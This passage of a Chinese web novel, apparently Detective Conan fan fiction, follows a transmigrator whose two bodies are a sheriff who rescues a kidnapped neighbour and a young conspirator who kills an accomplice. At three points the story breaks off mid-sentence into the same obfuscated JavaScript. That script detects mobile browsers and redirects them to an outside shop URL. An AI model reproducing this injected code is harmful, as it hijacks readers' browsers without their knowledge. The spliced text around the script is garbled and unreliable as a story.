子安观甚至能想象出它擦着不存在的冷汗,光速逃离现场的模样,然后实在没忍住为自己的脑补笑了一下。 不过这样看来,这位系统对于带人气式穿越者确实更有经验,也更热衷。至于任务式……大概属于它业务中不太受待见的那一类? 这样想着,子安观摇摇头,照例在回家前,绕路去了一趟附近便利店后巷的监控室。 检查,停留片刻。那种熟悉的安心感缓缓抚平了方才的思绪波动。直到那股恋恋不舍的冲动再次涌起,他才强迫自己离开。 到家,关门,反锁。 调出泛着微蓝光晕的系统面板,他的目光落在两个选项上。 先点击了【活人偶】选项,确认了其运行机制。 随后,手指在已经变为代表“不可用”的灰色的【治安官】,与依然明亮闪烁的【阴谋家】之间,没有丝毫犹豫果断点选了后者。 …… 时间回到现在。 安全屋内,夜神信刚打完电话,盯着眼前暗下的笔记本电脑屏幕,其中倒映出的那张脸让他有些苦大仇深。 距离他抽到阴谋家这个身份已经过去两个月了,没过多久就要满三个月。 与治安官不同,这个身份没有家人,没有房子,没有工作,没有认识的人。 更重要的是,与快奔三了的子安观更不同。 这个身份—— 夜神信痛心疾首。 刚满十八岁! 而身份介绍也远比“伊达航的表哥、白沙街疯人院的病人”那样简单的描述来得更干脆,只有两个字: 黑户。 没有任何过去,没有任何社会关系,没有任何能证明“我是谁”的东西,就像一个凭空出现在这个世界上的幽灵。 夜神信有时候会想,这个身份真的是模仿者的首领吗,不然的话为什么连背景故事都懒得编。 更让他头疼的是,这个身份进入了某个危险的组织。 至于怎么进入的……被路过的好心老爷爷捡回家了。 这个好心老爷爷告诉他可以称呼他为郎姆。< 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夜神信琢磨了一下他的作案手法,又想了想自己的任务,决定去见他一面。 他打算立刻动身——但不是去见山田一郎,毕竟看守所晚上不允许探监。 推开房门,他瞥了一眼苏格兰的房间。 里面静悄悄的。 嗯,看来是不打算过问的意思。 毕竟夜神信可不觉得在这么安静的环境下,作为一个代号成员,会听不到门锁打开的声音。 看透了这一点的夜神信出了门,在路边随手招了辆出租车。他上车,看了眼司机的脸,发现确实是自己刚刚打电话联系的人后,报了任务目标的公司地址。 司机一言不发,发动车子驶离原地。 夜神信望着窗外掠过的夜景,思绪有些飘散。 不知是不是因为同时维系两具身体的缘故,他越来越习惯昼伏夜出。 白天用治安官的身份打工,晚上则切换成阴谋家出任务。 两个身份的生活几乎没有交集。治安官在东京边缘的老公寓里醒来,吃简单的早餐,去便利店上夜班,偶尔给伊达航发条消息报平安。阴谋家在黑暗中活动,见那些不该见的人,做那些不该做的事,天亮前回到某个临时的落脚点,像一只真正的夜行动物。 而且让他苦恼的是,因为这个被人嘲讽是吸血鬼就算了。 但场上人数还不足十位,他现在没办法给别人发通缉是真的忍不了。 两个月过去了,他居然还不能杀掉治安官。 ……等等,好像有哪里不对。 夜神信赶紧拽回跑偏的思绪。 咳,真正让他头疼的是,自己的两个身份之间关系极差。 很差。 还记得刚获得“阴谋家”身份那天,他只是随手将这个身份投放在附近,想先查看一下角色详情。 毕竟,如果阴谋家是什么通缉犯、或是正被人监视的身份底牌,很可能会牵连到治安官。 但在切换成阴谋家的瞬间,第一个冒出的念头却是:杀了治安官。 他极其顺手地点开系统面板上属于【阴谋家】的专属技能——通缉。 又极其顺手地在通缉名单里输入了“子安观”,身份栏填上“治安官”。 正满心期待着治安官的死亡,接着就被系统提示:人数未满十人,未达到游戏最低开启条件,技能无法使用。 夜神信的右脑还没来得及无能狂怒,左脑才稍微回了一些理智。压下心中那股莫名的失落的同时震惊于自己刚才的行为。 这时他才后知后觉的查看自己的外在特质——和治安官不同,阴谋家足足有五个。 看到第一个特质的瞬间,他就明白了原因。 【外在特质·警戒】:作为模仿者的首领,你并不讨厌侦探团的大多数成员,却极端厌恶治安官与侦探,并打算将仅有的两次通缉机会留给他们——但,这是为什么呢? 夜神信:“……” 是啊,为什么呢? 为什么运气这么背,抽中了反派阵营模仿者的首领,还偏偏是唯二身份治安官的仇人啊! 更何况阴谋家这年龄……呃。 夜神信盯着年龄栏,沉默了片刻。 十八岁就当上首领什么的,真的不是过家家吗? 治安官刚成年的时候阴谋家还是个小学生啊! 他无奈地移向姓名栏,随即陷入更深的沉默。 ……不知道前世那些总用阴谋家玩夜神月梗的网友会不会想到,在另一个世界里,阴谋家居然真的姓“夜神”了。 4. 突发意外 到了目的地,夜神信付钱下车,抬头望向面前矗立的高楼。 地位真不一般啊。 这可是一整栋楼,已经可以称作集团了吧?普通公司顶多租用几层写字楼而已。 楼体通体玻璃幕墙,在夜色中反射着周围零星的路灯,像一个沉默的黑色巨人。 此刻,整栋大楼的所有窗户都是暗的,员工们似乎早已下班。 但监控显然还在运作,楼外几个角落的红点还在规律闪烁,像不知疲倦的眼睛。 夜神信随手调出系统地图,对着红色的电力室图标轻轻一点。 电力供应中断,监控随之失效。 四下无人,穿着一身黑的夜神信光明正大地走了进去。 他刚进去,习惯性的想搭乘电梯,发现没电无法运行后尴尬地沿着楼梯安静上行。 二十四楼,办公室。 夜神信避开走廊尽头最后一个还能靠应急电源维持的旋转摄像头,用一根细钢丝熟练地撬开门锁,闪身进入。 …… 五分钟后,解决完所有事情的他下楼,从专供清洁人员使用的后门悄无声息地离开大楼。 走到路边,他随意抬手,一辆出租车缓缓停在他面前,像是一直等在这里般。 他拉开车门坐进去,抬眼看向司机,嘴角几不可察地扬了一下。 司机正是那位老总的助理,也是刚才带他来这里的人。 同时也是他的这次任务的情报提供人。 这位助理告诉了他不少东西,包括其实公司本来就是要给田中健一继承,只不过是因为误会罢了,包括田中和也已经和他的女友私奔了等等。 车子滑入夜色。助理握着方向盘的指节微微发白,他从后视镜飞快地瞥了夜神信一眼,声音压得很低,带着神经质的紧绷:“你确定遗嘱会改成由我继承?万一那老东西想给监狱里那个写谅解书,改主意呢?” “不会。”夜神信靠在椅背上,语气平淡,“他们两个都会死。” 助理喉结滚动,像被这句话噎住,眼中却掠过一丝贪婪的光:“那……遗嘱到底怎么办?公司里根本没有他立好的遗嘱!就算两个儿子都死了,没有白纸黑字宣布我是继承人,董事会和律师怎么可能认?” “已经完成了。”夜神信觉得对方似乎误解了什么,合上眼,难得解释了一句,“会死的是山田和他的小儿子。” 助理陷入沉默。 夜神信以为他暂时安分了,便闭目养神,在脑中梳理接下来的行动。 时间一分一秒过去,预想中的减速与停车并未到来,车身始终保持着平稳的速度。 夜神信眯眼看向窗外。 景色越来越不对劲。高楼早已消失,取而代之的是稀疏的林木和远处零星的昏暗灯火。道路变窄、颠簸,显然正驶向城市边缘的荒僻之地。 夜神信缓缓睁眼,看向前座。 助理依旧目视前方,右手却已悄悄离开方向盘,正极其缓慢地探向驾驶座下方。 窗外路灯偶尔扫入车厢,照亮他半边紧绷的脸,也映出他手中悄然抽出的一截冷光——匕首的刀尖。 夜神信:“……” 真是各怀鬼胎。 他本就没打算让这个知情太多的助理活着,更没打算真把产业留给他。没想到,对方也抱着同样杀死他的心思。 车内空气凝滞,只剩引擎的低鸣与轮胎碾过碎石的细响。助理的呼吸逐渐粗重,握刀的手背青筋隆起。 夜神信无声地叹了口气,用意念调出系统面板,在通缉名单上填入“青木纯银”,身份栏填入“助理”。 挺好的名字。 这是夜神信第二次这样想。初见这个名字时,他就觉得,这名字透着一种令人安然的纯澈,他的父母一定对他寄予厚望。 不过,这个名字的主人马上就要死在自己手里了。 他漠然地想着,突然打算亲手点下确认。 而驾驶座上的助理被这突如其来的动作刺激,面色骤然狰狞,带着与他纯洁的名字截然相反的表情,握着匕首朝他狠狠捅来。 但也只是一瞬。 刀子落地,助理痛苦地捂住心脏,挣扎几下,再也不动。 夜神信静静地看着,并且在内心告诉自己,杀的这个人不是什么好人,换作是治安官杀他都不一定会同归于尽。 这种心理安慰他经常做,只是为了回到治安官的身体时,能忍住不对阴谋家动杀心。 …… 夜神信一把将那个被安全带拉扯着向后座扑去的身形按回原处,利落地收起掉落的刀子,放回驾驶座下方。 他推开车门,走出车外,顺手把车门关上。 夜风扑面而来,带着郊外特有的清冷和草木气息,他站在路边,看着那辆熄了火的出租车。 他并没有打算清理自己来过的痕迹,比起这个,他更担心自己该怎么回去。 不记得路,也没带手机,没办法用导航。 要用司机的手机吗?算了吧,估计有密码。 而且里面说不定还安装了什么麻烦的定位装置。 他念头一转,唤出系统面板,打算直接收回【阴谋家】这具身体,等意识回到治安官身上之后,再在附近重新投放。 但这个想法刚起,就突然有了其实凭借问路的方式走回去也不是不行的念头。 夜神信:“……” 又来了。 他无声地叹了口气,不再犹豫,选择了收回阴谋家。 下一秒,意识如潮水回落,瞬间回归到治安官的身体之中。 刚睁开眼睛,思维里便浮起一个奇怪的想法:要不干脆别投放了,看看那个任务失败还玩失踪的阴谋家会不会被组织追杀。 子安观乐呵呵地想。 子安观猛地一顿。 子安观欲言又止。 你俩能不能别闹了。 整整两个月了,他依然无法理解这种“自己害自己”的念头究竟从何而来。 还记得第一次从阴谋家切换回治安官的那晚,他几乎是下意识地拿枪出门,下楼,掏出手机打算打车——目的地正是那个收留了“刚出生不到一天的阴谋家”的好心老爷爷的房子。 途中枪不知何时又出现在手中,冰冷而熟悉。 直到踏出这栋楼,站在外面,夜风扑面吹来,他才猛然清醒,手里的枪也随之消散。 缓过神来的他站在原地吹了好一会儿冷风后,感觉自己冷静得差不多了,才回到身后的居民楼内。 …… 时间回到现在。 子安观坐在自己那间略显狭窄的公寓里,盯着窗外沉沉的夜色思考着。 经历这么一出,睡意是彻底没了。他抓起一件外套,打算出门随便走走,让夜风吹散脑子里那些自己跟自己过不去的嘈杂念头。 早回去晚回去,对苏格兰那边来说,大概也没什么差别,他索性决定再鸽半天——今早上的时候他就鸽过一次了。 刚拉开门,旁边门缝下漏出的光便吸引了他的注意。 是邻居阿姨家。 子安观脚步顿住了。那位独居的老太太很作息规律,晚上九点必定熄灯,也很节俭,绝不会让灯白白亮到这么晚。 是忘了关?还是半夜起来上厕所? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305095|198683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他犹豫片刻,还是走了过去。如果是忘了,提醒一声也好,老人家都是心疼电费的。 “咚咚。” 指节轻叩门板。里面没有回应。 “咚咚咚。” 他又敲了三下,稍微加重了力道。 一片寂静。 正当他准备放弃,转身离开时,门内传来粗暴的拖动椅子的声音,接着门被猛地拉开一条缝。 一张陌生的、带着浓重不耐烦的男人面孔挤在门缝后,语气很冲:“干什么?大晚上的敲什么敲!” 子安观迅速扫了一眼对方——三十多岁,穿着皱巴巴的衬衫,眼神里满是警惕和被打扰的怒火,完全不是老太太那个常年忙于工作、只有周末才偶尔回来、温文尔雅的儿子。 “抱歉,”子安观露出恰到好处的歉意笑容,语气温和,“我是旁边的住户。看到灯还亮着,担心石川阿姨是不是忘了关,或者有什么事需要帮忙。她平时休息得很早。” “她睡了!”男人生硬地打断,态度强硬,似乎想立刻关门,“我是她侄子,来看她的。没事别瞎操心!” 侄子? 子安观在这里住了两年,和老太太关系也不错,从来没听老太太提起过有什么侄子。 “这样啊,”子安观点点头,仿佛接受了这个说法,“那就不打扰了。晚安。” 门几乎是在他话音落下的瞬间就被用力关上,咔哒一声落了锁,充满着一种赶人的意味。 子安观回到自己家,轻轻关上门,背靠着门板,眼神沉静。 不对劲。 老太太的儿子很孝顺周到,但工作也是真的忙,只有一个独子的老太太面对这情况也没有抱怨什么,只是默默支持自己儿子的事业。 子安观刚来的时候就受过老太太的照顾,而因为年纪与她的儿子相仿,又总是独来独往,所以心疼他,除了生活上的帮助外,还时常送些自己做的点心过来。 那是个细致体贴的人,绝不会有一个看起来如此粗鲁无礼的侄子,更不会任由对方用这种态度对待关心的邻居。 子安观没有开灯,在黑暗中静静站了几秒,然后无声地穿过小小的客厅,走向阳台。 他这间公寓虽比伊达航的那间更显局促,但好在带了一个狭窄的阳台,与隔壁老太太家的阳台相邻,中间仅隔着一道约莫一米多宽、装饰性的铁艺栅栏。 夜风微凉。他利落地翻过栏杆,轻盈而准确地落在隔壁阳台的地砖上,几乎没有发出声响。 阳台上堆着一些蒙尘的花盆和杂物。通往室内的玻璃门关着,厚重的窗帘并未完全拉拢,留有一道缝隙。 子安观侧身贴近那道缝隙,向内看去。 客厅的灯亮得刺眼。 方才开门的那个男人正焦躁地在客厅里踱步,嘴里低声骂着什么。而沙发上,石川阿姨——那位总是笑眯眯叫他“小观”,会塞给他热腾腾包子的老太太——正蜷缩在那里,双手被反绑在身后,嘴上贴着胶带,花白的头发凌乱,眼睛里盛满了惊恐和无助。 另一个同样面色不善的同伙坐在旁边的椅子上,正埋头摆弄着老太太的手机,手指飞快敲击,显然在编辑着勒索或威胁的短信。 子安观收回目光,没有犹豫。他迅速从口袋中掏出手机,解锁屏幕,调至静音模式,指尖快速移动,编辑好包含地址、情况简述的报警短信,随后选择了最近的辖区派出所公开号码,利落地发送出去。 屏幕微光映亮他沉静的蓝色眼眸,随即熄灭。他将手机调回震动模式塞回口袋,视线再次落向那道窗帘的缝隙,冷静地观察着室内两人的动静,如同潜伏在暗夜中的守卫者。 5. 成功解决 就在子安观屏息凝神,估摸着怎么撬开这扇被反锁的玻璃门时,客厅里那个踱步的男人手机忽然震动起来。 他烦躁地掏出来看了一眼屏幕,脸色骤然变得更为阴沉。 “喂?”他接通电话,声音压得很低,但阳台上的子安观凭借过人的耳力,仍能捕捉到只言片语。 “是,明白……不配合?知道了。” 通话很简短,男人挂断电话,转向同伙,眼神里闪过一丝凶光。 “上头改主意了,这老东西的儿子耍手段,一直在拖时间……现在上头让我们处理干净,把照片发过去。” 摆弄手机的同伙动作一僵,抬起头,脸上掠过一丝犹豫,但很快被同伙狠戾的眼神压了下去。 他默默放下手机,从后腰摸出一把闪着寒光的弹簧刀,咔哒一声弹出刀刃。 沙发上的石川阿姨显然听懂了他们的对话,身体剧烈颤抖起来,喉咙里发出绝望的呜咽,眼中泪水汹涌。 “老东西,别怨我们。”持刀的男人舔了舔嘴唇,朝着沙发走去。 目睹这一幕的子安观瞳孔骤缩,没有丝毫犹豫,如同锁定猎物的夜行动物,他身体后撤半步,蓄力,然后猛地侧身用肩膀撞向阳台玻璃门。 “哗啦——” 刺耳的玻璃碎裂声与门框扭曲的呻吟同时炸响,纷飞的玻璃碎片在灯光下折射出无数光点,一道黑影裹挟着夜风,如同炮弹般撞入客厅。 “!!” 两名绑匪被这突如其来的巨响和闯入者吓了一跳,持刀的那个刚转过身,还没看清来人,一记精准狠辣的踢击就狠狠踹在了他持刀的手腕上。 “呃啊!”剧痛之下,弹簧刀脱手飞出,撞在墙壁上弹落。 子安观落地翻滚卸力,动作流畅得如同演练过千百遍,毫不停顿地弹身而起,直扑那个仍在惊愕中的男人。对方下意识挥拳砸来,却被子安观轻易格开,顺势擒住手臂,一记干净利落的过肩摔。 “砰!”男人结结实实砸在地板上,闷哼一声,一时岔气爬不起来。 被踢掉刀的绑匪刚喘过两口气,就挣扎着扑过来,想要去救他的同伴。 子安观侧头避开呼啸的拳头,眼神冰冷,右手如电探出,扣住对方挥空后露出的肘关节,反向一拧,同时脚下迅捷一绊。 第二个绑匪以更狼狈的姿态扑倒在地,还没来得及挣扎,后颈便挨了一记恰到好处的重击,瞬间眼前发黑,瘫软下去。 整个过程不过十几秒,两个凶悍的绑匪毫无还手之力被放倒了,而罪魁祸首只是呼吸紊乱了一点。 这时候子安官听见急促的警笛声由远及近,最终停在楼下。 他快速扫视,确认两个歹徒暂时失去反抗能力,立刻转身走向沙发。 “呜呜……”石川阿姨泪眼朦胧地看着他,身体仍在发抖,但眼中的惊恐已被巨大的震惊和难以置信取代。 她看着这个平日里沉默寡言、总是独来独往的年轻人,仿佛第一次认识他。 “没事了,石川阿姨。”子安观放轻声音,尽可能柔和,与刚才瞬间制敌的凌厉判若两人。他小心翼翼地去撕老太太嘴上的胶带,动作极轻。 胶带被撕下,老太太急促地吸了几口气,看着子安观,嘴唇哆嗦着,发出的声音带着劫后余生的哽咽。 “别怕,已经没事了。”子安观一边安抚,一边转到沙发后,迅速解开反绑她手腕的绳索。绳子勒得很紧,在老人松弛的皮肤上留下了刺目的红痕。 手脚一得自由,石川阿姨颤巍巍地想站起来,却腿一软。子安观连忙扶住她,让她在沙发上坐稳。“您坐着休息,警察马上就到。”他话音刚落,口袋里的手机就震动起来——是派出所的回复,表示警察已经到楼下,正在上楼,并且询问报警人知不知道绑架犯和人质现在的状况。 他掏出手机,简单回复“歹徒已制服,人质安全”,然后开始检查两个绑匪的状况,用他们自己的鞋带和从窗帘上扯下的束带,将两人的手脚牢牢捆住,确保他们醒来后也无法挣脱。 做完这一切,他站起身,在客厅里扫视了一圈。碎玻璃,翻倒的椅子,掉落的刀,还有地板上几点血迹——大概是绑匪鼻子磕破流的。 他极其自然地走进厨房,从厨房倒了杯温水递给坐在沙发上的老太太。 老太太双手捧着杯子,目光一直跟着子安观,惊魂未定,又充满感激和后怕。 “子安……你怎么会……?”她语无伦次的问。 “我回来时看到您家灯还亮着,觉得不对劲,敲门时那个人的反应更可疑。”子安观简单地解释,“就报了警,然后过来看看。” 老太太愣了一下,然后苦笑:“我哪有什么侄子……我老伴去世早,就一个儿子……” “所以我报了警,然后从阳台过来看看。”子安观省略了中间的部分,没有说自己是怎么翻过阳台的,“刚好看到他们要动手。” 子安观声音平稳,带着一种令人安心的力量,“您儿子肯定急坏了,等警察处理完,您就能联系他。” 约莫一分钟后,出现纷乱的脚步声和敲门声。 “警察!开门!” 子安观起身,确认了一下绑匪的束缚,然后走过去打开了大门。 几名身穿制服的警察涌了进来,迅速控制住现场。看到两名被捆得结结实实、刚刚苏醒还在呻吟的绑匪,以及安然坐在沙发上、虽然受惊但明显无大碍的老人,带队的警官愣了一下,显然没料到是这种局面。 “谁报的警?这是……?”警官目光锐利地扫过子安观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305096|198683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “是我报的警,警察先生。”子安观平静地回答,将自己看到异常、报警、然后发现歹徒意图行凶、不得已闯入制止的过程清晰简要地叙述了一遍,略去了自己过于精湛的格斗细节,只说是情急下的自卫和趁机制服。 警察一边听,一边检查现场,拍照取证,给两名灰头土脸的绑匪戴上手铐。医护人员也赶到,为石川阿姨做了初步检查,除了手腕的勒伤和受惊,并无大碍。 警官在记录子安观的陈述时,多看了他几眼。 这个年轻人看起来冷静得过分,叙述条理清晰,面对警察的询问对答如流,身上连点打斗留下的擦伤都没有,而两个歹徒却鼻青脸肿……这自卫的效果未免太好了点。 “你练过?”警官问。 “学过一些防身术。”子安观语气淡然,蓝色的眼眸平静无波,“当时情况危急,没想太多。” 警官点了点头,没再深究。毕竟结果是好的,人质获救,歹徒被抓,年轻人的英勇行为也值得肯定。他们又详细询问了石川阿姨,老太太情绪激动地讲述了被绑架的经过,并再三强调是子安观救了她。 现场取证和初步问询持续了一个多小时。绑匪被押上警车带走,警方表示需要石川阿姨和子安观后续再到派出所做一份详细的正式笔录。考虑到老人家的状况,可以第二天再去。 警察离开前,帮子安观联系了物业来处理破损的阳台门,并建议石川阿姨今晚暂时不要独自在家,最好去亲友处或由警察联系其儿子安排。 子安观主动提出:“如果石川阿姨不介意,今晚可以先在我那边休息一下,等您儿子回来再说。” 老太太感激地点头。 他的儿子在隔壁城市,最快回来也得四小时。 送走警察,子安观扶着石川阿姨回到自己干净但略显冷清的公寓,他打开灯,让老人坐在客厅那把唯一的椅子上,自己进去收拾了一下房间——其实也没什么好收拾的,只是把床单拉平,把枕头拍松。 他扶着老人进房间,看着她躺下,帮她掖好被角。床头柜上放了一杯温水,还有他从抽屉里翻出的止痛药,老太太手腕上的勒伤可能需要。 做完这一切后,子安观躺在沙发上,听着里间老人渐渐平稳下来的呼吸声,望着天花板。 不妙啊……完全睡不着了。 话说,那群绑匪到底是什么人?他隐约知道石川阿姨的儿子是个法官,但具体并不清楚法官的工作都在干什么。 他闭上眼睛,将一丝不易察觉的锐利敛入平静之下。 想这么多也没用,不如先切换到阴谋家的身体,让自己能睡好的同时解决阴谋家的事。 而且,阴谋家大概会进情报组,说不定没过多久就会知道些什么,虽然概率有点小。 6. 外在特质的显现 半分钟后,切换为阴谋家的夜神信坐在出租车的后座上。 深夜的街道在车窗外流淌,霓虹灯的光影时不时掠过夜神信的脸。他靠在后座上,手机屏幕的冷光映出他没什么表情的眉眼。 邮件没有标题,发件人栏里只有两个字的署名——琴酒。 他点开。 “一周后,有任务。提前做好准备。” 就这两句。没头没尾,没有任务地点,没有目标信息,连“收到回复”这种客套话都懒得写。很琴酒风格,惜字如金,不容置疑,连你正在考核期这种事都不带考虑的。 夜神信盯着屏幕看了几秒,拇指在屏幕上方悬停片刻,最终只是锁屏,把手机收回口袋。 车里还残留着上一位乘客的烟味,混着司机放的电台音乐,主持人正用那种深夜特有的慵懒腔调念着听众留言。 他偏头看向窗外,玻璃上模模糊糊映出自己现在的脸——阴谋家的脸。 红色眼瞳,黑色长发,表情淡漠疏离。 但在这张脸下面,还藏着另一张脸。 治安官的脸。 挺有意思的,他想。 他忍不住在脑子里过了一遍今天的行程:几个小时前他还在破窗救人,被人拉着胳膊连声道谢,现在却收到了顶级杀手的任务通知。 这两种身份切得他自己都觉得有点魔幻。 窗外继续流淌着这个城市的夜景,便利店、居酒屋、偶尔路过的行人。 一个穿西装的上班族站在街角等红灯,手里还攥着便利店的塑料袋,大概也是刚下班。夜神信看着那人,忽然想:如果这个人知道旁边经过的出租车里坐的是什么人,会是什么表情? 大概会吓跑吧。 他收回目光,靠在座椅上,突然有点想笑——这要是让今天被他救的那家人知道,那个看起来沉稳不善交际的男人晚上还要接杀手的活儿,不知道会是什么表情。 “先生,到了。”司机的声音把他从思绪中拉回来,顺手把空调调高了一点,“夜里凉,慢走啊。” 他回过神,付钱,下车。 公寓楼还是和出门前一样,刷卡进楼的时候,电梯里正好下来个遛狗的住户,那条柴犬冲他摇了摇尾巴,直到电梯门关上的时候,那张毛茸茸的脸还盯着他看。 楼道里空无一人,只有他自己的脚步声。 开门,关门,换鞋,进房间。 他脱下外套随手搭在椅背上,外套滑下来一半,他也懒得管。电脑开机的那几十秒里,他去倒了杯水,回来的时候屏幕已经亮了。 他熟练地打开加密通讯软件,输入那串复杂的密码。 嗯,朗姆给他的私人联络里没有发任何消息。 夜神信也不知道自己是松了口气还是有点小失落,反正脑子里就冒出一个念头—— 这周好像突然变闲了。 按他的效率,这种任务明天搞定,最多再加一天善后,算下来居然能歇五天。 五天啊,能干点什么呢?去超市囤点吃的?买几身和现在款式差不多的衣服?还是干脆躺平打游戏? 他盯着屏幕发了会儿呆,脑子里又不受控制地冒出以前跟着琴酒跑的日子。那时候基本除了睡觉就是任务,让他怀疑琴酒那家伙字典里压根没有“放假”这俩字。 不过虽说是每天都在做任务,但其实也没多忙,毕竟琴酒可不会带新人。 字面意思上的不会。 这导致他每天的作用和伏特加差不多——听琴酒指示,完成任务,上车,做下一个任务。 等用不着他们两个,琴酒一个人去狙击的时候,他和伏特加就呆在车里等着,随时准备接应琴酒跑路。 车里只剩他们两个人,氛围尴尬得几乎快溢出来,伏特加偶尔咳嗽一声,他假装看手机,两个人都不知道说什么。 说起来,他第一次见到琴酒和伏特加时,那场景就更尴尬了。 那天他被告知了一个安全屋地址,让直接过去。他一脸懵地到了地方,推开门,当场傻了。 沙发上坐着两个人,一高一矮。高的那个打扮跟他几乎一模一样。黑风衣,黑帽子,高领衣,连坐姿都透着一股生人勿近的气质。 琴酒只是抬眼扫了他一下,冷笑了一声,没说话。 倒是伏特加的表情十分精彩,看看自家大哥,又看看夜神信,一脸的不敢置信。 琴酒没说话,夜神信也没说话。伏特加憋了又憋,憋得脸都快紫了,最后硬是把心里的震惊和疑问咽了回去,但心中还是忍不住呐喊—— 这身装扮和气质是怎么回事啊!朗姆是把大哥失散多年的亲弟弟找到了吗! 而琴酒亲弟弟夜神信当时站在门口,进也不是退也不是,满脑子就一个念头—— 朗姆这是故意的吧?给别人找这么个撞衫的队友,确定不是来恶心人的? 然后夜神信注意到,伏特加偷偷看了好几眼他的脸,发现长得完全不一样后,明显松了口气。 他这才回过神,默默进去找了个角落坐下。 那天的沉默,现在想起来还是让人尴尬。 电脑屏幕的光闪了闪,把夜神信从回忆里拉回来。他坐直身子,看了眼时间,又扫了眼空空如也的收件箱。 算了,闲着就闲着吧,先睡了再说。 第二天早上起床的时候,夜神信觉得脑子有点沉,像是睡了很久又像是一夜没睡踏实。他盯着对面墙上的挂钟看了半天,愣是没反应过来那根短针指的到底是几点。 几分钟后,缓过神来的他坐在床边,头发乱糟糟地支棱着,睡衣领口歪到一边,整个人看起来就像那种通宵打游戏第二天起不来床的普通年轻人。 谁能想到这张脸上同时挂着两个身份的待办事项。 他叹了口气,抬手揉了揉太阳穴。 现在应该去见山田一朗,然后让他成为财产的合法继承人,完成组织交代的任务。 不对,应该先去警察局做笔录,先照顾一下石川阿姨。 去看护所。 去警察局。 任务。 笔录。 山田。 石川。 …… 也许是因为还剩六天的时间,时间还算宽裕,他最终判断阴谋家的事可以先放一放——反正山田又不会跑,财产也不会长腿自己飞走,他也不觉得警察能调查出什么真相。倒是石川阿姨那边,昨天破门救人之后还没正式做过笔录,于情于理都该先去一趟。 行,就这么定了。 他站起来,晃进卫生间,挤牙膏的时候还在打哈欠。 水龙头哗哗地响,牙刷在嘴里机械地来回刷,镜子里的人顶着一头乱糟糟的黑发,眼底还有点没睡够的倦意,红色眼瞳在晨光里看着倒没那么有压迫感了——突然觉得有点好笑。 阴谋家早起也是要刷牙的。 这个念头让他心情莫名好了点。 洗漱完,他拿毛巾擦了把脸,把毛巾往架子上一搭,拉开卫生间的门。 然后他顿住了。 旁边不远处那扇门也正好打开。 两个人同时走出来,同时抬头,同时看见对方。 夜神信:…… 对面那个人:…… 空气里安静了两秒。夜神信的脑子还没来得及切换频道,刚才还在想警察局笔录的事,现在面前站着的是—— 苏格兰。 大型跨国犯罪组织的成员。 苏格兰显然也是刚起床的样子,头发比他还乱,睡衣外面随意披了件外套,手里还攥着个牙刷。他看见夜神信的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305097|198683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那一刻,表情也微妙地顿了一下。 两个人就这么杵在走廊里,一个刚洗完脸,一个还没刷牙,四目相对。 “……早。”苏格兰先开口,没有想要过多交流的意思。 毕竟他们理论上还是考官和被考人的关系,用不着过多套近乎。而且这个时间点、这个状态碰见,多少有点尴尬——大家都是刚从床上爬起来的样子,谁也别笑话谁。 夜神信点了点头,也回了句“早”。 然后他的目光不受控制地落在苏格兰脸上。 黑发,蓝色猫眼,脸上带着点没刮干净的小胡茬。整张脸长得挺温和的,眉眼间甚至有点好脾气的意思,看着就像那种会在超市认真比对酸奶保质期的居家好男人。 ……是不是有哪里不对? 夜神信在心里默默打了个问号。 这人真是组织成员? 不是,组织成员不都应该像琴酒那样,冷着一张脸,浑身写着“别惹我”三个大字吗?或者至少也得有点杀气吧?眼前这个——头发乱糟糟的,睡衣领口歪着,手里还攥着牙刷——怎么看怎么像隔壁合租的大学生。 夜神信正想着,突然意识到自己好像也在打量对方,赶紧收回目光。 但那种违和感还在。 面前这个人,实在很难和“组织成员”四个字联系起来。温和,甚至有点人畜无害。要是换身衣服丢进人群里,估计就是那种会被大妈拉住问路的好心人长相。 夜神信在心里默默感叹:这组织招人标准到底是怎么定的? 他丝毫没有意识到,自己现在顶着阴谋家的壳子,心里的这些想法正在被一个外在特质悄悄带偏。 【外在特质·敏锐】:你总觉得身边藏着些不对劲的人,这种直觉让你忍不住反复观察身边的人。 “那个……”苏格兰开口,似乎想说点什么,但话到嘴边又咽了回去。他扬了扬手里的牙刷,有点无奈地笑了一下,“我先去洗漱。” 夜神信点点头,侧身让开道。 苏格兰从他身边走过去,进了卫生间。门关上的声音很轻。 夜神信站在原地愣了两秒,才继续往自己房间走。 回到屋里,他关上门,靠着门板站了一会儿。 刚才那几秒的对视,他脑子里其实转过了不少念头。比如——这人真的是考官吗?比如——组织里的人难道都长这么无害?琴酒只是少数? 但转念一想,如果组织里全是琴酒那种类型,反倒不正常了。 总得有人看起来像个正常人,才能在正常社会里活动吧? 